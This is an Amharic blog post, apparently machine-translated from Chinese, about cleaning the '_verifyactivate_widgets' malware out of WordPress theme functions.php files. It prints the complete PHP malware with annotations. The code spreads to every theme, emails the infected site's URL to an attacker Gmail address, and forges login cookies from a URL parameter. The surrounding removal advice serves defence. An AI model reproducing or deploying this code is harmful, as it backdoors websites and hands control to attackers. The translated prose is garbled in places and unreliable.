የዎርድፕረስ ገጽታዎች እንዴት ተንኮል አዘል ኮድ _verifyactivate_widgetsን እንደሚያፀዱ

የቅርብ ጊዜChen Weiliangበአሁኑ ጊዜ በመጠቀም ላይየዎርድፌንስ ሴኩሪቲ ሴኪዩሪቲ ተሰኪ ተንኮል-አዘል ኮድ ለማግኘት ድር ጣቢያዎችን ይቃኛል።በኋላ, ተገኝቷልየዎርድፕረስበጭብጡ ተግባር.php ፋይል ውስጥ የተንኮል አዘል ቫይረስ ኮድ ተደብቋል።

ተንኮል አዘል ኮድ በ WordPress ገጽታ ተግባራት.php ፋይል ውስጥ

በዎርድፕረስ ውስጥ ለ"ተንኮል አዘል ኮድ" በጣም እድሉ ያለው ቦታ በገጽታ ማውጫ ውስጥ function.php ነው፣ አብዛኛው ጊዜ በ function.php ፋይል መጨረሻ ላይ ተደብቋል።

ዋናው ችግር:ተንኮል አዘል ኮድ አሁን ባለው ብሎግ ስር ያሉ ሁሉም ርዕሶች አንድ ሰው የብሎግ ገጽዎን በጎበኘ ቁጥር የተበከሉ መሆናቸውን ይገነዘባል፣ ካልሆነ ግን አብረው ይያዛሉ።

ከዚያ በኋላ የ wp ማስጀመሪያ እርምጃ ሲተገበር የአሁኑ ብሎግ ወደ የመልእክት ሳጥን livethemas@ኢሜል መላኩን ያረጋግጣል።gmail. ኮም

የተለጠፈ መሆኑን እንዴት ያውቃሉ?

• በእርስዎ wp_options ሠንጠረዥ ውስጥ የሚባል ፋይል አለ።_is_widget_active_አማራጭ, በተሳካ ሁኔታ ከተላከ, እሴቱን ወደ 1 ያዘጋጁ;
• ካልሆነ፣ አሁን የተበከለውን ብሎግ መነሻ ገጽ ዩአርኤልን እንደ ርዕስ እና ይዘት ይጠቀሙ።
• ያ ነው, ሌላ ምንም መጥፎ ነገር ማድረግ የለበትም.

ተንኮል አዘል ቫይረስ ኮድ እንደሚከተለው ነው (አንዳንድ ልዩነቶች ሊኖሩ ይችላሉ, ነገር ግን መሠረታዊው ኮድ አንድ ነው)

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

የ WordPress ገጽታ ተንኮል አዘል ኮድ ምንድን ነው?

በWordfence ሴኪዩሪቲ ፕለጊን መቃኘት የFunction.php ፋይልዎ እንደተነካካ ካረጋገጠ፣መመልከት ያስፈልግዎታል ለምሳሌ፡-

1. መግብሮችን_አረጋግጥ
2. ተግባር _Checkactive_widgets
3. ተግባር _ሁሉንም መግብሮችን_ያገኝ
4. ተግባር stripos
5. ተግባር stripos
6. ተግባር ስካንደር
7. ተግባር _getprepare_widget
8. ተግባር __popular_posts
9. add_action ("አስተዳዳሪ_ጭንቅላት", "_ቼክአክቲቭ_ፍርግሞች");
10. add_action ("init", "_getprepare_widget");
11. መግብሮችን_አረጋግጥ_ያነቃቁ
12. የማይሰራ_መግብርን ፈትሽ
13. ሁሉንም መግብሮችን አግኝ
14. _መግብሮችን_አዘጋጅ
15. __ታዋቂ_ልጥፎች

• እያንዳንዱ መስመር ራሱን የቻለ ነው፣ በእርስዎ ተግባራት.php ውስጥ ከላይ ያለው ኮድ ካለህ ሊመታህ ይችላል።
• ከነሱ መካከል ተግባራት እና add_action በአጠቃላይ የ"ዝግጅት እንቅስቃሴዎች" ንብረት የሆኑ የ"ተንኮል አዘል ኮድ" ኮድ ናቸው።

የ WordPress theme function.php ተንኮል አዘል ቫይረስ ኮድ እንዴት ማስወገድ እንደሚቻል?

ለማጽዳት በጣም ቀላል ነው, ልክ ከላይ ካለው ጋር የሚመሳሰል ኮድ በዎርድፕረስ ጭብጥ የ function.php ፋይል ውስጥ ያግኙ እና ይሰርዙት, ነገር ግን አንድ ጊዜ ከተበከለ, በገጽታዎ ጭብጥ ማውጫ ውስጥ ያሉት ሁሉም ጭብጦች ይያዛሉ, ስለዚህ ወቅታዊ ጥቅም ላይ የዋለው ጭብጥ ልክ ያልሆነ ነው እና ከተጣራ በኋላ በቅርቡ ይመነጫል።

መፍትሄው የአንድ የዎርድፕረስ ጭብጥ ተንኮል-አዘል ቫይረስ ኮድን ማስወገድ ፣የ function.php ፋይልን ወደ 444 ፍቃዶች ማቀናበር እና ሌሎች የዎርድፕረስ ገጽታዎችን ማጽዳት ነው።

የመጨረሻው ተግባራት.php ፋይል 444 ፍቃድ ወደነበረበት መመለስ እንዳለበት፣ ሰዎች 444 በአንፃራዊነት ደህንነቱ የተጠበቀ እና አስፈላጊ ሆኖ ሲገኝ ሊሻሻል እንደሚችል ይጠቁማሉ።

የWordfence ደህንነት ተሰኪን ስለመጠቀም ማስታወሻዎች

እኛ የዎርድፕረስ ፕለጊን በWordfence ሴኪዩሪቲ፣ የዎርድፕረስ ደህንነት ፕለጊን ከተቀናጀ ፋየርዎል እና ማልዌር ፍተሻ ጋር፣ 100% በዎርድፕረስ ደህንነት ላይ ያተኮረ ትልቅ ቡድን የተገነባ እና የሚጠበቅ ነው።

ምንም እንኳን የሚከፈልባቸው ሞጁሎች ቢኖሩም የ WordPress ጣቢያችንን "ተንኮል-አዘል ኮድ" የያዙ ፒኤችፒ ፋይሎችን ለመፈተሽ ነፃ ሞጁሉን መጠቀም እንችላለን ምንም እንኳን የተወሰነ የውሸት አወንታዊ መጠን ቢኖርም (በዋነኛነት አንዳንድ እውነተኛ ፕለጊኖች ፣ የገጽታ ምስጠራ ክፍል ይታገዳል። በሐሰት አዎንታዊ)) ነገር ግን "ተንኮል-አዘል ኮድ" ማግኘት በእርግጠኝነት በትንሽ ጥረት የበለጠ ስራ ነው።

ይህ ተሰኪ በተደጋጋሚ እንዲበራ የማይመከር መሆኑን ልብ ሊባል የሚገባው ነው, ምክንያቱም ፋየርዎል እና የደህንነት ጥበቃው በመረጃ ቋቱ ላይ የተወሰነ ጫና ስለሚፈጥር እና የድረ-ገጹን አፈፃፀም ላይ ተጽእኖ ያሳድራል.

በተለምዶ፣ ፕለጊኖች ሲያስፈልግ የ"ስካን" ፍተሻዎችን እንዲያሄዱ ነቅተዋል።

ምርመራው ከተጠናቀቀ በኋላ ድንገተኛ ሁኔታ ሲከሰት ሶኬቱን ይዝጉ።